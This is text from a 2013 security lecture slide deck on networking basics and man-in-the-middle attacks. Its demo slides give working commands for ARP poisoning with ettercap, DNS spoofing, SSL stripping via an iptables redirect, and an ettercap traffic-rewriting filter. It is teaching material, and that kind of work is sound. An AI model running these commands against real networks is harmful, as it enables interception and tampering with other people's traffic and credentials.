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  DISCLAIMERDISCLAIMER
  

1 – The following discussion is for informational and education 1 – The following discussion is for informational and education 
              purpose only.purpose only.

  2 – Hacking into private network without the written permission  2 – Hacking into private network without the written permission  
              from the owner is Illegal and strictly forbidden.from the owner is Illegal and strictly forbidden.
              This could result to being charged with CRIMINAL ACT!!!This could result to being charged with CRIMINAL ACT!!!

  3 – Misused could result in breaking the law so use it at your own 3 – Misused could result in breaking the law so use it at your own 
              risk.risk.
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Abstract

● Networking ( 7-Layers )

● Cryptography – Private/Public keys

● MiTM Attack
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Network 7-Layers - Schema
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Networking 
● MAC – Media Access Control a unique id assigned to wireless
 adapters and routers.
 It comes in hexadecimal format (ie 00:11:ef:22:a3:6a)
● First 3 segments is manufacture ID(Intel,Apple,Samsung Etc.)
  AA:BB:CC:DD:EE:FF
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Networking 

● Link Layer
– The ARP Protocol

● Internet Layer
– IP
– Routing
– ICMP
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Networking 
● Transport Layer

– TCP/IP
– OS Fingerprinting

● Application Layer
– Common Protocols
– SMTP
– HTTP – Part I
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Networking - WireShark 

● A free and open-source graphical packet analyzer
● Contains many features and capabilities.
● Main purpose – network troubleshooting, analysis and
      debugging.
● Data is captured online or can be loaded from a file.
● Can display encapsulation and information regarding 
      and according to the protocol used.
● Able to follow TCP streams
● Able to decode data based on protocol.
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ARP Packets 
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Private/Public Keys – Schema  
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MiTM Attack – Abstract  

●The concept of MiTM Attack

●What attacking methods I'll demonstrate

●Demonstrations of the attacking methods
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MiTM Attack – Attack vectors  

● Physical Devices

● Social Engineering (mostly your brain & charm)

● Wireless networks
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MiTM Attack – Explanation  

● It is an attack in which a hacker places    
  himself in between his potential victim and  
  the host that victim communicates with

● The attack is able to see/manipulate all traffic 
sent between the two nodes.

● Because of the nature of the attack it has to    
be done over Layer-2
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MiTM Attack – Schema  
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Attack methods for this lecture

● Data manipulation

● SSL-Strip

● Faking SSL certificate
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Link Layer – the ARP
● Determining a network host's Link Layer or hardware address when only its 

Internet Layer (IP) or Network Layer address is known. 

● Critical in local area networking as well as for routing internetworking 
traffic across gateways (routers) based on IP addresses when the next-hop 
router must be determined.

● Based on MAC Address – Hardware ID
● Class Demonstration 

– ipconfig /all
– ARP Sniffing  using Wireshark
– Windows ping +  arp command
– Packet Structure and Process on wireshark
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Link Layer – ARP Poisoning
● Hacking  technique used to attack an ethernet wired or 

wireless network. 
● Allow an attacker to sniff data frames on a local area network 

(lan), modify the traffic, or stop the traffic altogether.
● The principle of the spoofing is to send fake, or "spoofed", arp 

messages to an ethernet lan.
● The aim is to associate the attacker's mac address with the ip 

address of another node (such as the default gateway). 
● Any traffic meant for that ip address would be mistakenly sent 

to the attacker instead. 
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Link Layer – ARP Poisoning
● The attacker could then choose to forward the 

traffic to the actual default gateway (passive 
sniffing) of modify the data before forwarding 
it (man-in-the-middle attack).

● The attack could also launch a denial-of-service 
attack against a victim by associating a 
nonexistent MAC address to the IP  addresses 
of the victim's default gateway.
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Data Manipulation – Schema  

Introduction
Networking
Private/Public Keys
MiTM Attack



  

  MiTM Attack - Haifa-Sec       

PC-Labs May 29 2013 – MiTM Attack - Haifa-Sec

Data Manipulation – Demo

● Forwarding the packets
echo 1 > /proc/sys/net/ipv4/ip_forward

● Taking over the dns request over the network
dnsspoof -i eth0

● Setting up a Proxy Server for HTTP/HTTPS
launch burp suite

1 – Adding to proxy port 80
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SSL-Strip – Schema  
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ettercap
● ettercap -P list
● Available plugins :

– arp_cop  1.1  Report suspicious ARP activity
– chk_poison  1.1  Check if the poisoning had success
– dns_spoof  1.1  Sends spoofed dns replies
– dos_attack  1.0  Run a d.o.s. attack against an IP address
– find_conn  1.0  Search connections on a switched LAN
– find_ettercap  2.0  Try to find ettercap activity
– find_ip  1.0  Search an unused IP address in the subnet
– finger  1.6  Fingerprint a remote host
– gw_discover  1.0  Try to find the LAN gateway
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ettercap
● isolate  1.0  Isolate an host from the lan
● pptp_clear  1.0  PPTP: Tries to force cleartext tunnel
● pptp_pap  1.0  PPTP: Forces PAP authentication
● pptp_reneg  1.0  PPTP: Forces tunnel re-negotiation
● rand_flood  1.0  Flood the LAN with random MAC addresses
● remote_browser  1.2  Sends visited URLs to the browser
● scan_poisoner  1.0  Actively search other poisoners
● search_promisc  1.2  Search promisc NICs in the LAN
● smb_clear  1.0  Tries to force SMB cleartext auth
● smb_down  1.0  Tries to force SMB to not use NTLM2 key auth
● stp_mangler  1.0  Become root of a switches spanning tree
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Ettercap filters
#############################
#                                                      #
#      ettercap – replace bad stuff -- #
#                                                      #
#############################

                                   ##

        if (ip.proto == TCP && tcp.src == 80) {

replace("microsoft", "linux");
 replace("Microsoft", "Linux");

msg("Filter Ran.\n"); }
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SSL-Strip – Demo
● Forwarding the packets

echo 1 > /proc/sys/net/ipv4/ip_forward

● Redirecting traffic to our ssl-strip listener
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000

● Activating SSL-Strip listener
sslstrip -l 10000

● Poisoning the network
ettercap -Tqi eth0 -M arp:remote /TARGET_MACHINE/ /GATEWAY/
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Faking SSL Certificate – Schema 
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Faking SSL Certificate – Demo

● Forwarding the packets
echo 1 > /proc/sys/net/ipv4/ip_forward

● Taking over the dns request over the network
dnsspoof -i eth0

● Setting up a Proxy Server for HTTP/HTTPS
launch burp suite

1 – Adding to proxy port 443
2 – Adding to proxy port 80
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Tools that I used in this lecture
● arpspoof

● ettercap ( Graphical mode - "-G")

● sslstrip

● dnsspoof

● burp suite (proxy server)
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One more thing...:)
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Contact info
Email – guy@pclabs.co.il
Facebook – www.facebook.com/pclabs
Twitter - @pc_labs , twitter.com/pc_labs
LinkedIN - https://www.linkedin.com/pub/guy-edri/1/3a8/961
Hacking Define Experts course – www.see-security.com

See Consulting – www.see-secure.com

Video of this lecture - 

●  http://www.youtube.com/watch?v=QoP7LL9McQ8
●  http://www.youtube.com/watch?v=FogFML2N_JI

mailto:guy@pclabs.co.il
http://www.facebook.com/pclabs
https://twitter.com/pc_labs
https://www.linkedin.com/pub/guy-edri/1/3a8/961
http://www.see-security.com/%D7%A7%D7%95%D7%A8%D7%A1_%D7%94%D7%90%D7%A7%D7%99%D7%A0%D7%92_Hacking_Defined_Experts_-%D7%92%D7%99%D7%A8%D7%A1%D7%94_%D7%9E%D7%9C%D7%90%D7%94.html
http://www.see-secure.com/
http://www.youtube.com/watch?v=QoP7LL9McQ8
http://www.youtube.com/watch?v=FogFML2N_JI
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Thank you all
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